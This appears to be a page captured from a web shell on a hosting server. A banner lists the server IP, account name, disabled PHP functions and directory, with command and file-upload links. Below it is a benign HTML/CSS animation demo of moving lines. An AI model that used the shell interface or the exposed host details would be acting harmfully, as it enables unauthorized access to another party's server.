|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/.nvm/../public_html/brandessential/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Animated Body Lines</title>
<style>
body {
margin: 0;
padding: 0;
background-color: #1a1a1a;
min-height: 100vh;
overflow-x: hidden;
}
.body-container {
position: relative;
width: 100%;
min-height: 100vh;
}
.body-lines {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: -1;
pointer-events: none;
}
.body-container .body-line {
position: absolute;
top: 0;
bottom: 0;
width: 0;
border-left: solid 1px;
left: 50%;
right: initial;
border-color: #232323 !important;
z-index: 1;
}
.body-container .body-line.body-line-l1 {
margin-left: -584px;
}
.body-container .body-line.body-line-l2 {
margin-left: -170px;
}
.body-container .body-line.body-line-r1 {
margin-left: 250px;
}
.body-container .body-line.body-line-r2 {
margin-left: 640px;
}
/* Moving dot styles */
.moving-dot {
position: absolute;
left: -0.5px; /* Center on the 1px line */
width: 1px;
height: 40px;
background: linear-gradient(to bottom,
rgba(255, 255, 255, 0) 0%,
rgba(255, 255, 255, 0.8) 20%,
rgba(255, 255, 255, 1) 50%,
rgba(255, 255, 255, 0.8) 80%,
rgba(255, 255, 255, 0) 100%);
animation: moveDown 8s linear;
}
@keyframes moveDown {
0% {
top: 0;
opacity: 1;
}
100% {
top: calc(100% - 40px);
opacity: 1;
}
}
/* Content area for demo */
.content {
position: relative;
z-index: 10;
padding: 50px;
color: white;
text-align: center;
}
.content h1 {
font-size: 2.5rem;
margin-bottom: 20px;
color: #00ffff;
}
.content p {
font-size: 1.2rem;
line-height: 1.6;
max-width: 800px;
margin: 0 auto 30px;
}
</style>
</head>
<body>
<div class="body-container">
<div class="body-lines">
<div class="body-line body-line-l1"></div>
<div class="body-line body-line-l2"></div>
<div class="body-line body-line-r1"></div>
<div class="body-line body-line-r2"></div>
</div>
<div class="content">
<h1>Animated Body Lines</h1>
<p>Watch the animated segments traveling along the vertical lines. Each line has multiple moving elements with randomized timing and properties.</p>
<p>The animation creates a dynamic, futuristic feel with glowing effects and smooth movement patterns.</p>
</div>
</div>
<script>
document.addEventListener("DOMContentLoaded", function () {
const bodyLines = document.querySelectorAll(".body-line");
function startSynchronizedAnimation() {
// Create one moving dot for each line simultaneously
bodyLines.forEach((line) => {
createMovingDot(line);
});
}
function createMovingDot(line) {
const dot = document.createElement("div");
dot.className = "moving-dot";
line.appendChild(dot);
// Remove the dot after animation completes (8 seconds)
setTimeout(() => {
if (dot.parentNode) {
dot.remove();
}
}, 8000);
}
// Start the first set immediately
startSynchronizedAnimation();
// Repeat every 12 seconds (8s animation + 4s pause)
setInterval(() => {
startSynchronizedAnimation();
}, 12000);
});
</script>
</body>
</html>